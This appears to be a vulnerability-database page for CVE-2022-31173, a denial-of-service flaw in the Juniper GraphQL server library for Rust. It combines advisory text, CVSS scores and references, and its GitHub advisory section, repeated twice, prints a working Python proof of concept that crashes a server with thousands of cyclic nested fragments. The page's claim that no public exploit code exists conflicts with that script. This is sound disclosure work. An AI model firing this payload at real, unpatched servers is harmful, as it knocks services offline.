CVE-2022-31173
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.
- Record
CVE-2022-31173- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2022-6229
7.5
Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.
- Record
EUVD-2022-6229- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4rx6-g5vg-5f3j
7.5
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:
However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw @MdotTIM @karimhreda
- Record
GHSA-4rx6-g5vg-5f3j- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-674
- Updated
- 2026-11-02
NVD
7.5
Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.
- Record
CVE-2022-31173- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-674
- Updated
- 2026-11-02
OSV
7.5
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.
- Record
CVE-2022-31173- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-4rx6-g5vg-5f3j
7.5
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:
However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw @MdotTIM @karimhreda
- Record
GHSA-4rx6-g5vg-5f3j- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-674
- Updated
- 2026-11-02
OSVRUSTSEC-2022-0038
7.5
Denial of service on deeply nested fragment requests
Deeply nested fragments in a GraphQL request may cause a stack overflow in the server.
- Record
RUSTSEC-2022-0038- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2022-31173 is a high vulnerability (CVSS 7.5) in Graphql-rust Juniper, published July 28, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.72%, the 77th percentile. Fixed in juniper 0.15.10.
References
github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j
github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb
github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22
github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md
nvd.nist.gov/vuln/detail/CVE-2022-31173
rustsec.org/advisories/RUSTSEC-2022-0038.html